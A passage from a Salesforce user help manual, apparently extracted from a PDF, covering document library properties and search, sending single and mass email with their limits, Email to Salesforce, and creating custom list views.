Documents stored as links cannot be attached to emails, but they save space in your document library. If document content search is enabled, Salesforce will also perform a full-text search of the document. When a new document is uploaded or an old one is replaced, its contents are available for searches. For more information, see Searching for Documents. Salesforce stores the most recent upload date as the modified date. You can upload documents that have file names of up to 255 characters including the extension. The size limit for any document you upload is 5 MB. The maximum size for a custom-app logo is 20 KB. Your organizations used file storage includes all files stored in the document library. If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi.

See Also:
Searching for Documents File Size Limits in Salesforce Monitoring Resources

Document Properties
Available in: All Editions except Database.com

Below is a description of the properties in alphabetical order that are stored for each document in the document library. Field
Author

Description The main point of contact for a document. Initially, the person uploading the document is the author. Thereafter, the author can be any selected user. The name of the person who originally uploaded the file.

Created By

222

Documents

Document Properties

Field
Modified By Folder Document Content Searchable

Description The name of the person who last uploaded the file. The name of the folder that contains the document. A checkbox that indicates if the content within a document can be searched via the Find Document button on the Documents tab. This checkbox is automatically set by Salesforce. The name of the document including its file extension. A unique name used to refer to the document when using the Force.com API. In managed packages, this name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With this field, a developer can change certain components' names or titles in a managed package and the changes are reflected in a subscriber's organization. A statement distinguishing this document from others. A checkbox that indicates if the document is confidential. The Internal Use Only and Externally Available Image checkboxes are mutually exclusive; you cannot select both. A checkbox that indicates if the document is an image available for HTML email templates, such as a logo in a letterhead, and does not require a Salesforce username and password to view in an email. This checkbox indicates if the document is an image used as a custom app logo or custom tab icon, which require a Salesforce username and password to view. The Internal Use Only and Externally Available Image checkboxes are mutually exclusive; you cannot select both.

Document Name Document Unique Name

Description Internal Use Only

Externally Available Image

Keywords

An open text field containing one or more words that describe the document. The program checks for matches in this field when doing a search. Stored in place of Document Name if you prefer to create a link to the document instead of uploading it. The size of the document in bytes. The file type is determined by the file extension. For example, filename.ppt is recognized as a PowerPoint file. If the

Path

Size Type

223

Documents

Deleting Documents

Field

Description
Disallow HTML documents and attachments security

setting is enabled for your organization, you cannot upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi.

See Also:
Displaying and Editing Document Properties Viewing Document Lists

Deleting Documents
Available in: All Editions except Database.com

User Permissions Needed To delete documents: To restore documents: Delete on documents Delete on documents

To delete a document, click Del next to the document on the documents list page. Alternatively, click Delete on the documents detail page. When you delete a document, Salesforce stores it in the Recycle Bin. You can restore the document to your document library within that time by clicking Undelete from the Recycle Bin. Note: You can delete any document in your personal folder but you can only delete a document in a public folder if you have the Manage Public Documents permission. If you delete a document that's included in a letterhead or HTML email template, any emails using the letterhead or template display a broken link in its place. You can fix the broken link by removing the document from the Recycle Bin. You can't delete a document that's being used as a custom logo in meeting requests. To delete it, you must either select another document to use as a logo or uncheck the option to display a custom logo in meeting requests.

See Also:
Managing Folders Recycle Bin

224

Documents

Changing Document Authors

Changing Document Authors


Available in: All Editions except Database.com

User Permissions Needed To change documents: Edit on documents

Since documents are stored in folders that control user access, documents do not have owners like other types of records, but they do have authors. The author represents the user that originally uploaded the document file. To change the author of a document: 1. View the document you want to modify. 2. Click Change next to the Author field. The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you may not have sufficient privileges to change a document author. 3. Enter a new author name. Alternatively, click the lookup icon to choose from a list of users. 4. Check the Send Notification Email box if you would like to alert the new author of this change. Note: When you change document authorship, Salesforce does not change the documents visibility.

See Also:
Managing Folders

Searching for Documents


Available in: All Editions except Database.com

User Permissions Needed To view documents: Read on documents

To find specific documents, use the Find Document button on the documents home page. 1. Click the Documents tab. 2. Enter your search terms. Salesforce searches the following fields:
Document Name Keywords

225

Documents

Searching for Documents

Description

3. Click Find Document. The search returns a list of documents that match all your search terms. The search results are listed in order of the closest matches. The Keywords and Document Name fields are used to determine the closest matches. The fields you see are predefined and cannot be changed. Tip: Use quotation marks around a phrase to search for the words in that sequence. For example, a search for my logos returns documents whose fields or content contains that exact phrase, as well as my and logos. Without quotation marks, your search returns any document whose fields or content includes any of the words in the search. For example, my logos returns documents whose fields or content contains my and logos. 4. Select any document to jump directly to the detail page for that document, or click View to open the document in a new window. If document content search is enabled, Salesforce will also perform a full-text search of the document. When a new document is uploaded or an old one is replaced, its contents are available for searches. To enable document content search: 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. Select Enable Document Content Search. Note: Salesforce automatically determines if the contents of a document can be searched. If the Document Content Searchable property is checked on a document, then its contents have been processed successfully and can be searched. If your document is large, it may take several minutes before Salesforce searches the contents of a document and marks the Document Content Searchable property. You can also find documents using Global Search. 1. Enter your search terms in the header search box. 2. Select Search Options... from the drop-down and select Documents to narrow your search results. 3. Click Search. The following file types are supported for a document content search. Note: The contents of documents that exceed the maximum sizes are not searched; however, the document fields are still searched. Only the first 1,000,000 characters of text are searched. Text beyond this limit is not included in the search. File Type File Extensions Maximum Size 5,120 KB

HTML (only the text within a <body> .htm tag)


.html .xhtml

PDF PPT

.pdf .pot .pps

25,600 KB 25,600 KB

226

Documents

Searching for Documents

File Type

File Extensions
.ppt .pptx

Maximum Size

RTF Text

.rtf .c .cpp .css .csv .ini .java .log .sql .txt

5,120 KB 5,120 KB

Word

.doc .docx .docm .dot

25,600 KB

XLS

.xls .xlsm .xlsx .xlt

5,120 KB, or a maximum cell limit of 100,000 cells

XML

.xml

5,120 KB

In some instances documents are not searched. These include: If a file extension is changed to a different format, it is not searched, even if both extensions are valid. For example, a .txt file that is renamed to .rtf is not searched.

227

Email

Email Overview

PDF and Word documents may have security restrictions that prevent them from being searched. To ensure that the content is searchable, the content extraction property on your file must be set to Enabled when creating your document.

See Also:
Search Overview Uploading and Replacing Documents Search Fields Refining Search Using Wildcards Refining Search Using Operators

EMAIL
Email Overview
Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions

You can email contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity, case, campaign, or custom object pages. There is no limit on the number of these emails sent individually. With mass email in Professional, Enterprise, Unlimited, and Developer Edition organizations, you can email a list of contacts, leads, or person accounts for small-scale sales or support. Mass email is intended to facilitate your business processes, not replace your existing email application or handle mass-marketing campaigns. Using the API, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT). Single emails sent using the application don't count towards this limit. You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce you are using: Edition Professional Enterprise Edition Unlimited Edition Address Limit per Mass Email 250 500 1,000

Note: The mass email limits don't take unique addresses into account. For example, if you have johndoe@example.com in your mass email 10 times, that counts as 10 against the limit.

228

Email

Sending Email

Note: In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization can send mass email to no more than 10 external email addresses per day. This lower limit does not apply if your organization was created before the Winter '12 release and already had mass email enabled. You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and Apex. When you send an email, you can choose a predefined template for the message. To personalize your message, the template can include merge fields that are replaced with information from the Salesforce record when the email is sent. For instance, your organization may want to use a standard template to communicate solution information to customers with cases. Your administrator maintains organization-wide templates, and you can maintain your own personal templates.

See Also:
Sending Email Sending Mass Email Editing Email Settings Email Fields Managing Email Templates Force.com Connect for Microsoft Outlook Overview What is a Person Account? Testing Deliverability

Sending Email
Available in: All Editions except Database.com

User Permissions Needed To send emails: To create an organization-wide address: Send Email Modify all Data

To send email to a contact, lead, person account, or other user: 1. Click Send An Email on the Activity History related list of a record. Or, from a case, click Send An Email or Reply from the Email related list. This option is available only to organizations using Email-to-Case or On-Demand Email-to-Case. 2. Optionally, specify the sending address of the email from the From drop-down list for emails associated with Email-to-Case or On-Demand Email-to-Case; or if the email name or email address in your email settings is different from the email name or email address on your user record. When creating a new outbound Email-to-Case or On-Demand Email-to-Case message, the From address is auto-populated with your name. When replying to an inbound message, the From address is auto-populated with the routing address to which the email was sent. If you previously defined any organization-wide addresses, the email addresses associated with your user profile also appear in this drop-down list. Organization-wide addresses are not available for Mass Email, or Stay-in-Touch requests.

229

Email

Sending Email

3. If you want to remove any HTML formatting and send a text email, click Switch to Text-Only. Click Switch to HTML to use HTML formatting or to track the email. 4. Enter a contact, lead, or person account in the To: field. Only one name can be entered in the To: field. For contacts and leads that have multiple email fields, you can select an email address. 5. Optionally, choose another record, such as an account, case, or custom object, to associate with the email. 6. Optionally, if you want other people to receive the email as primary recipients, enter email addresses in the Additional To: field, or click the Additional To: link to select individuals from a list. These people do not need to be Salesforce records. Email addresses can be separated by semicolons, commas, spaces, or new lines. 7. In the CC: and BCC: fields, enter any additional email addresses, or click the CC or BCC link to select individuals from a list. Email addresses can be separated by semicolons, commas, spaces, or new lines. If your organization has enabled compliance BCC emails, the BCC: field is not available and your Automatic Bcc setting under My Email Settings is disabled. 8. Enter a subject and body for the email, or click Select Template to choose a predefined email template. Choose a folder and select a template from the folder. If necessary, you can modify the content of the template in your email; however, you cannot modify Custom templates. Caution: If you modify the template contents, your changes affect only the HTML version of the email template. The changes are not reflected in the text-only version of the email sent to recipients. When replying to an Email-to-Case or On-Demand Email-to-Case email, the original email is included in the email body. All or parts of this email can be deleted. 9. If you chose an HTML email template, use the format toolbar to format your text. For more information, see Using the Format Toolbar. Available in Professional, Enterprise, Unlimited, and Developer Editions only. 10. Optionally, select Attach File to add a file. You can attach multiple files as long as the total size of all attached files does not exceed 10 MB. 11. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the body of the email. Spell Checker does not support all the languages that Salesforce supports. For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported. If you are using an email template, the Check Spelling button is available for text templates and Visualforce templates without HTML tags. 12. Click Send. If the recipient does not have an email address, Salesforce prompts you to edit the persons email address and click: Save Address to add the email address to the record without sending the email. Save Address and Send to add the email address to the record and send the email.

See Also:
Guidelines on Sending Email Email Fields Sending Mass Email Tracking HTML Email Working with Case Emails What is a Person Account? Testing Deliverability

230

Email

Guidelines on Sending Email

Guidelines on Sending Email


Available in: All Editions except Database.com

Note the following when sending email.

Tips
If bounce management is activated and the email bounces, Salesforce displays an error message. Click the link in the error message to update the email address and optionally send the email to the updated address. You can send emails related to any record, as long as you have access to view or edit the record.

Notes
An attachment is sent as a link if its total size is 3 MB or more or if it is sent using mass email. When recipients click the attachment link in the email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are stored for 30 days. Attachments aren't stored on emails sent from Salesforce. To be saved with the email, attachments must be either associated with the email later or sent to Salesforce using using Email-to-Case, Email-to-Salesforce, On-Demand Email-to-Case, or Salesforce for Outlook. Emails sent via the Send an Email button are listed in the Activity History list of the related records. The Activity History item is titled Email: Subject. You can click the email subject to view the body of the email. Emails sent from the Email related list of a case are saved in the Email related list. This functionality is only available for organizations with Email-to-Case or On-Demand Email-to-Case enabled. If your page layout or field-level security settings prevent you from viewing a field, that field won't be available for email templates. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

See Also:
Sending Email Sending Mass Email

Mass Email Status Messages


Available in: Professional, Enterprise, and Unlimited Editions

If you're configured to receive email notifications for mass emails, you'll see an auto-generated status email from Salesforce for each mass email you send. The subject line of the status email contains the value you entered in the Mass Email Name field when sending the mass email. The status message shows the number of recipients that the mass email was both addressed and sent to. These numbers may differ because: The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message to any of the intended recipients in this case.

231

Email

Sending Mass Email

One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was processed. One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled but before it was processed. The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce does not send mass emails scheduled by a user who is deactivated.

To turn on the notification option, click Your Name > Setup > Email Administration > Deliverability, and select Notify sender when mass email completes.

See Also:
Guidelines on Sending Mass Email Configuring Deliverability Settings

Sending Mass Email


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To send mass emails to contacts, person accounts, or leads: To send mass emails to users: "Mass Email" "Mass Email" AND "Manage Users" To send mass emails and log them in the Activity History related list: "Mass Email" AND "Edit Tasks"

You can send a mass email message to a recipient list that consists of contacts, leads, person accounts, or users you can view in Salesforce. 1. Choose the type of recipients for your mass email: To send mass email to contacts or person accounts, click Mass Email Contacts in the Tools section at the bottom of the Contacts or Cases tabs. If your organization uses person accounts, the link is also in the Tools section at the bottom of the Accounts tab. To send mass email to leads, click Mass Email Leads in the Tools section at the bottom of the Leads tab. To send mass email to users, click Your Name > Setup > Manage Users > Mass Email Users. This link is available to administrators and users with the Manage Users permission.

232

Email

Sending Mass Email

2. Select a list view of recipients and click Go!. By default, the My Contacts, My Leads, Active Users, or My Cases views include all records of that type with an email address. To change the list of recipients, create a new custom view. See Creating Custom List Views on page 241. Contacts, leads, or person accounts that have the Email Opt Out field selected or do not have an email address are not included in any email list views. Person accounts are included in contact list views. 3. All recipients in the list view are selected by default. Remove recipients who shouldn't receive the mass email by deselecting them or using the top checkbox in the list view to select or deselect all of the recipients listed on the page. 4. Click Next. 5. Choose an email template. Note: You cant send a mass email using a Visualforce email template.

6. Optionally, click the Preview links to view the templates. In the email template preview window, the template displays with any merge fields included, such as {!Account.AccountNumber}. When you send your email, data from the recipients' records, or any applicable substitute text, is inserted into the email in place of those merge fields. 7. Click Next. 8. On the confirmation page, select from the available Processing Options:
BCC me on one message Store an activity for each message

The Activity History item is associated with the contact, lead, or person account and displays as Mass Email:<Template Description>. The email subject, body, and attachments are not stored in the Activity History item. To log Activity History items, you must have access to view or edit the records in the recipient list and have the Edit Task permission.
Use my signature

Optionally, include your email signature in this mass email. This option applies to text emails only.
Mass Email Name

Enter a name you can use to identify this mass email in the mass email queue. See Monitoring the Mass Email Queue on page 836 for more information. Note: The mass email name only appears in the mass email queue and status messages you receive from Salesforce. Salesforce doesn't add the mass email name to the mass email you're sending.

9. In the Delivery Options section, do one of the following. Select Send now. Select Schedule for delivery on and click in the date field to specify when Salesforce will send the mass email. Use the adjacent drop-down menu to specify the time zone. Note: Users can click Your Name > Setup > Email > My Mass Emails to view and cancel mass emails they scheduled. Administrators can click Your Name > Setup > Monitoring > Mass Email to view and cancel mass emails scheduled by all users in their organization. See Monitoring the Mass Email Queue on page 836 for more information. 10. Click Send to submit the mass email.

233

Email

Guidelines on Sending Mass Email

11. Click Finished to complete the mass email wizard.

See Also:
Guidelines on Sending Mass Email Mass Email Status Messages Email Fields Field-Level Security Overview What is a Person Account?

Guidelines on Sending Mass Email


Available in: Professional, Enterprise, Unlimited, and Developer Editions

When sending mass email, note the following.

Tips
You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean Time (GMT). The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce you are using: Edition Professional Enterprise Edition Unlimited Edition Address Limit per Mass Email 250 500 1,000

Note: The mass email limits don't take unique addresses into account. For example, if you have johndoe@example.com in your mass email 10 times, that counts as 10 against the limit. Note: In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization can send mass email to no more than 10 external email addresses per day. This lower limit does not apply if your organization was created before the Winter '12 release and already had mass email enabled. You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and Apex. Before you send a mass email, create a custom view of contacts, leads, person accounts, or cases without an email address. In the search criteria, choose Email equals, and leave the third field blank. You can then update those records before sending your emails. Unfortunately, there is no way to validate an email address without sending an actual email message. If your template contains a merge field for which there is no data in a particular record, that field does not appear in the email you send. To find such blank fields, modify your recipient list view to search for the merge fields you are using in your template, and enter the criterion <field> equals, leaving the third field blank. Edit those records that have blank fields before you send your emails.

234

Email

Email Fields

You can send a mass email to a recipient list that consists of contacts, leads, person accounts, or users you can view in Salesforce.

Notes
If the email deliverability option Notify sender when mass email completes is selected, you receive an auto-generated status email from Salesforce for each mass email you send. The subject line of the status email contains the value you entered in the Mass Email Name field when sending the mass email. Attachments in mass emails are sent as links rather than as physical files. When recipients click the attachment link in the email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are stored for 30 days.

Limitations
Mass email can only be sent to an address in a standard email field. Mass email using a custom email field is not supported. If a standard email field is hidden by field-level security, the Mass Email links for contacts and leads don't appear. Email templates give you access only to the fields that are accessible to you via your page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request.

See Also:
Sending Mass Email Mass Email Status Messages Configuring Deliverability Settings

Email Fields
Available in: All Editions

A Salesforce outbound email has the following fields, listed in alphabetical order. Field
Attachment

Description List of the attached files. The maximum total size of all email attachments is 10MB. List of email addresses to which the email will be blind carbon copied. Up to 2000 characters are allowed in this field. You can separate email addresses by semi-colons, commas, spaces, or new lines. Emails with addresses that contain parentheses, such as john(smith)@acme.com, will not be sent. The BCC: field is not available if your organization has enabled compliance BCC emails.

BCC

Body

Main text of the email. Up to 32KB of data are allowed in this field.

235

Email

Tracking HTML Email

Field
CC

Description List of email addresses to which the email will be copied. Up to 2000 characters are allowed in this field. You can separate email addresses by semi-colons, commas, spaces, or new lines. Emails with addresses that contain parentheses, such as john(smith)@acme.com, will not be sent. Automatically generated field containing your email address. Existing account, asset, campaign, case, contract, opportunity, product, solution, or custom object that the email is related to. This field is not sent with the email, but is stored in the Activity History with the email. Your personalized tag line. Set your signature via Email > My Email Settings in the Personal Setup area. It is automatically appended to individual emails. You can choose to append it to mass emails. Subject of the email. Up to 80 characters are allowed in this field. The contents of this field display in bold if the email Status is New. Name of the contact, lead, or person account to which the email will be sent. Only one name can be entered in this field.

From Related To

Signature

Subject

To

Tracking HTML Email


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

After sending an HTML email, you can track the date it was first opened, the number of times it was opened, and the date it was most recently opened. Detail pages for contacts, leads, and person accounts include an HTML Email Status related list. Each email you send to a person or mass distribution list is listed, including the date the email was sent, first opened, last opened, and the total number of times it was opened by all users (multiple openings by the same user are counted). This list also includes automatic emails such as those sent through Web-to-Lead and Web-to-Case response rules. Click Send An Email to create a new message. See Sending Email on page 231 for more details on sending an email. Click View All to view more details about all the items in the HTML Email Status related list. Click Edit next to an email to add any notes to it. Click Del to remove an email from the HTML Email Status related list. Click the subject of an email to view the entire email message. If the subject is longer than 100 characters, it is truncated with ellipses (...).

To report on the HTML email statistics listed in the HTML Email Status related list, use the HTML Email Status Report available from the Reports tab.

236

Email

Setting Up Email to Salesforce

Note: Add the HTML Email Status related list to your contact, lead, and person account page layouts before users send HTML emails that they need to track.

See Also:
Customizing Activity Settings What is a Person Account?

Setting Up Email to Salesforce


Available in: All Editions except Database.com

Before you can use your Email to Salesforce address, you must configure it. 1. Click Your Name > Setup > Email > My Email to Salesforce. Tip: We recommended that you add your Email to Salesforce address to the address book of your email client for easy retrieval. 2. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email addresses with commas. Important: Your Email to Salesforce address only accepts email from addresses you list. If you do not list any email addresses, email sent to your Email to Salesforce address will not be associated to any records. 3. Choose whether you'd like all emails to be sent to My Unresolved Items so you can manually assign them to related records or whether you'd like us to first try to automatically assign them. 4. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three. 5. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate record, or to the record that has greatest number of activities. 6. If you selected leads or contacts, you can select If no matching records are found, create a task and send it to My Unresolved Items to have the email sent to My Unresolved Items if no matching records are found. If this checkbox isn't selected and Salesforce can't identify the To or From email addresses, the email won't be saved in Salesforce. 7. Select Always save email attachments to save attachments on emails sent to Salesforce. The size limit for an attached file is 5 MB. The size limit for all files attached to an email is 10 MB. 8. Select Email me confirmation of association to receive a confirmation email when emails are successfully associated. 9. Click Save.

See Also:
Adding Email with Email to Salesforce

237

Email

Adding Email with Email to Salesforce

Adding Email with Email to Salesforce


Available in: All Editions except Database.com

To add an email to a matching lead, contact, or opportunity: 1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field on the My Email to Salesforce setup page. 2. Enter your Email to Salesforce address in the BCC field of your email. 3. Enter desired recipients in the To, CC, and BCC fields. 4. Send the email. Salesforce receives the email and, based on your My Email to Salesforce settings, adds it to either the Activity History related list of matching records or the My Unresolved Items page, where you can manually assign it. Unresolved emails also appear in your open task list. To add an email to a specific Salesforce record: 1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field on the My Email to Salesforce setup page. 2. In Salesforce, locate the record ID of the record you want the email associated with. The record ID is the 15-digit, case-sensitive, alphanumeric code that displays at the end of the URL for a record. For example, if you view the detail page of a campaign record, the URL will look similar to this: https://na1.salesforce.com/701D0000000HQZy; the record ID for this record is 701D0000000HQZy. 3. In the subject line or body of the email, type ref: followed by the record ID. For example: ref: 701D0000000HQZy. Note: Record IDs can either be typed on a separate line or within the email body text if surrounded by (), [], or {}. For example: (ref: 701D0000000HQZy). Multiple record IDs must be separated with commas, for example: ref: 701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa. 4. Enter your Email to Salesforce address in the To, CC, or BCC fields of your email. 5. Optionally enter additional recipients in the To, CC, or BCC fields. 6. Send the email. Salesforce receives the email and adds it to the Activity History related list for each record that matches a record ID specified in the email. Invalid IDs or IDs for records that you do not have read access to are ignored. If Email to Salesforce is configured to associate email with matching leads, contacts, or opportunities, an unresolved task is created when an email is associated to a lead, contact, or opportunity using only a record ID and not a matching email address. For example, if you have configured emails to be associated with matching leads and you send an email directly to your Email to Salesforce address with a lead record ID in the body or subject line of the email, the email will be associated to the lead and an unresolved task will be created.

See Also:
Setting Up Email to Salesforce

Guidelines on Using Email to Salesforce


238

Email

Guidelines on Using Email to Salesforce

Available in: All Editions except Database.com

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts, opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page, where you can manually assign it.

Tips
An administrator must activate Email to Salesforce for your organization. After activation, Salesforce generates a unique Email to Salesforce address for each user. Users receive an automated email from Salesforce that contains their Email to Salesforce address. The Email to Salesforce address can also be viewed by clicking Your Name > Setup > Email > My Email to Salesforce. The Email to Salesforce address is automatically generated and cannot be changed. You can also save a message as an email activity without sending or resending it to another person. Simply forward the email with your Email to Salesforce address in the To field. Be sure that there are no other email address in the To, CC, and BCC fields. Salesforce receives a copy of the email and searches the From, To, and CC fields in the forwarded email for the email addresses of your leads and contacts. If any leads or contacts are found, Salesforce saves the email in the Activity History related list on the appropriate record. When you use Email to Salesforce to save a message as an email activity, the default task type is specified by the Send Email Default setting. You can change the default value by editing the Task Type picklist field. You don't need to configure Email to Salesforce to associate emails to matching records. Salesforce searches emails sent to your Email to Salesforce address for a record ID, then looks for the record. If related records are found, Salesforce adds the email to either the Activity History related list on those records or to the My Unresolved Items page, where you can manually assign them.

Notes
You can use Email to Salesforce with email client applications such as IBM Lotus Notes and Microsoft Outlook, as well as webmail such as Gmail and Yahoo! Mail. The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses field in the My Email to Salesforce setup page. Email to Salesforce attempts to match the email address found in the To or CC fields with the one in the Email standard field. It doesn't support matching on custom email fields. If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce, you can choose to associate the email with all matching records, the oldest record, or the record with the most activity. If Email to Salesforce matches an email to multiple opportunity records in Salesforce, the email is included in the activity history on all matching open records. If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce searches the To and CC fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce saves the email to the Activity History related list on the appropriate record. If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce searches the To and CC fields for the email addresses of your contacts. If contacts are found, Salesforce saves the email to the Activity History related list on all open opportunities, as long as the contact is assigned a contact role on the opportunity. For example, the contact may be assigned the role of Decision Maker on an opportunity. If you use Gmail, see Using Gmail in Salesforce on page 311 to learn about the additional Gmail features that Salesforce offers. Email to Salesforce can create a maximum of 50 email activities for each email it receives.

239

Email

Resolving Your Unassigned Emails

The size limit for an attached file is 5 MB. The size limit for all files attached to an email is 10 MB. For each matching record, all attachments sent with the email are duplicated, which affects your data size limit. Any attachments that aren't added are listed in the confirmation email you receive from Salesforce. Email text and HTML is automatically truncated to 32 KB. Email to Salesforce is required to use the Add Email feature with Salesforce for Outlook. Disabling one feature will automatically disable the other. With Salesforce for Outlook, you add emails using the Add Email and Send and Add toolbar buttons instead of the BCC field.

See Also:
Setting Up Email to Salesforce Adding Email with Email to Salesforce Enabling Email to Salesforce Google Apps Overview Resolving Your Unassigned Emails

Resolving Your Unassigned Emails


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view or edit unresolved emails: Edit on tasks and Read on the objects you assign to the email AND Email to Salesforce OR Add Email in Salesforce for Outlook and Email to Salesforce To create new Salesforce records: Edit on tasks AND Show Quick Create and Create on those objects To see recently used data in the related records fields: Lookup Auto-Completion in Search Settings

When emails are sent to Salesforce using Email to Salesforce or Salesforce for Outlook, some are automatically assigned to related records based on your Email to Salesforce settings. The rest are added to My Unresolved Items, where you can either assign them to related Salesforce records or confirm that you want to leave them unassigned. 1. Access your unresolved emails from the sidebar shortcut Unresolved Items. 2. Depending on how you want to resolve an email, choose either of these actions.

240

List Views

Creating Custom List Views

Assign to related recordsEnter a related record in one or both fields. If you need to, first select the correct record type from the drop-down list. If you assign a lead, you can't assign additional records. Clear an entry to cancel an assignment. Leave unassignedClick Don't Assign. The text Unresolved Email: is removed from the subject line and the email is assigned to you as a completed task. If the task's Status picklist includes more than one completed status, we use the first one.

3. Click Save to save your changes. All modified items are removed from the list. You can return any time to resolve remaining items. Clicking Cancel cancels all changes on the page. The email is added to the Activity History or Open Activities related list of the associated records.

Tips
Unresolved emails also appear in your open task list. You can resolve an email from the email's task record by assigning it to other Salesforce records. Assigned and completed emails are automatically removed from your unresolved emails and open task lists. Click next to an email to see its details. Click Email to Salesforce Settings to view your email assignment settings.

See Also:
Guidelines on Using Email to Salesforce My Unresolved Items Overview Adding Email with Salesforce for Outlook Using Gmail in Salesforce Enabling Lookup Auto-Completion

LIST VIEWS
Creating Custom List Views
Available in: All Editions except Database.com

User Permissions Needed To create custom list views: To create, edit, or delete public list views: Read on the type of record included in the list Manage Public List Views

You can create new list views to see a specific set of records such as contacts, documents, or campaigns. For example, create a list view of accounts in your state, leads with a specific Lead Source, or opportunities above a particular Amount. You can also create views of contacts, leads, users, or cases to use for mass email recipient lists.

241

List Views

Creating Custom List Views

To edit or delete any view you created, click Edit next to the View drop-down list. Administrators, and users with the Manage Public List Views permission, can also edit or delete public views and some of the standard Salesforce views. Instead of Edit, users without the Manage Public List Views permission see the Clone link, which lets them clone a public or standard view. To create a new view, click Create New View at the top of any list page or in the Views section of any tab home page. Fill in the following: 1. Enter View Name Enter the name to appear in the View drop-down list. 2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages. 3. Specify Filter Criteria Filter by Owner These options vary depending on the kind of record. In general, select All... or My... to specify the set of records to search. There may be additional options: Lead and case list views can be restricted by queue. Price book list views can be restricted by price book. Activity list views have several options; see Viewing Activity Lists on page 102. If your organization has territory management, account and opportunity list views can be restricted by My Territories or My Territory Teams. My Territories means records associated with territories to which you belong. My Territory Teams means records associated with either territories to which you belong or territories below you in the territory hierarchy. If your organization has case teams, case list views can be restricted by My Case Teams. If your organization has account teams, account list views can be restricted by My Account Teams. If your organization has sales teams, opportunity list views can be restricted by My Sales Teams.

Filter by Campaign This option is available on the following list views: Contacts home Leads home Mass email contacts Mass email leads Mass add campaign members wizard Mass update campaign members wizard

If you are editing a list view that is filtered by campaign, and do not have at least read access to the campaign, you will receive an error when attempting to save the list view. Filter by Division If your organization uses divisions to segment data and you have the Affected by Divisions permission, select the division that records in the list view must match. This option is disabled if you are not searching all records. Select --Current-- to show records in your current working division. Filter by Additional Fields Optionally, enter filter criteria to specify conditions that the selected items must match, for example, Lead Source equals Web. You can also use special date values in your filter criteria.

242

List Views

Creating Custom List Views

Note: When you select the Created Date field in a list view filter, the value you specify can only be a date and not a time. This restriction does not apply to other filters.

4. Select Fields to Display The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters are displayed in the list view. a. To add or remove fields, select a field name, and click the Add or Remove arrow. b. Use the arrows to arrange the fields in the proper sequence. 5. Restrict Visibility If you are an administrator or a user with the Manage Public List Views permission, specify whether everyone or just you can see the custom view. This option is not available in Personal Edition. To see a list view, users must also have the appropriate Read permission on the type of records within the list view. Alternatively, Enterprise, Unlimited, and Developer Edition users can specify a public group, role, or role including all users below that role to see the custom view. To share the list view, select Visible to certain groups of users, choose the type of group or role from the drop-down list, select the group or role from the list below it, and click Add. Note: List views are visible to your customers in the Salesforce Customer Portal if the Visible to all users radio button is selected for views on objects assigned to Customer Portal users' profiles. To create list views that only your Salesforce users can see, select Visible to certain groups of users, and then share it with the All Internal Users group or a selected set of internal groups and roles. When implementing a Customer Portal, create custom views that contain only relevant information for Customer Portal users, and then make those views visible to Customer Portal users by sharing them with the All Customer Portal. Users group or a selected set of portal groups and roles. For more information about a Customer Portal, see Setting Up Your Customer Portal on page 1538. 6. Click Save. The view appears in the View drop-down list so you can access it later. You can rename an existing list view and click Save As to save the criteria of the list view without altering the original view. To navigate back to the last list page you viewed, click Back to list at the top of any detail page. Note: The information you see in list views is only the data to which you have accesseither records you own or have read or read/write access to, records that have been shared to you, or records owned by or shared with users in roles below you in the role hierarchy. In addition, you can view only those fields that are visible in your page layout and field-level security settings. 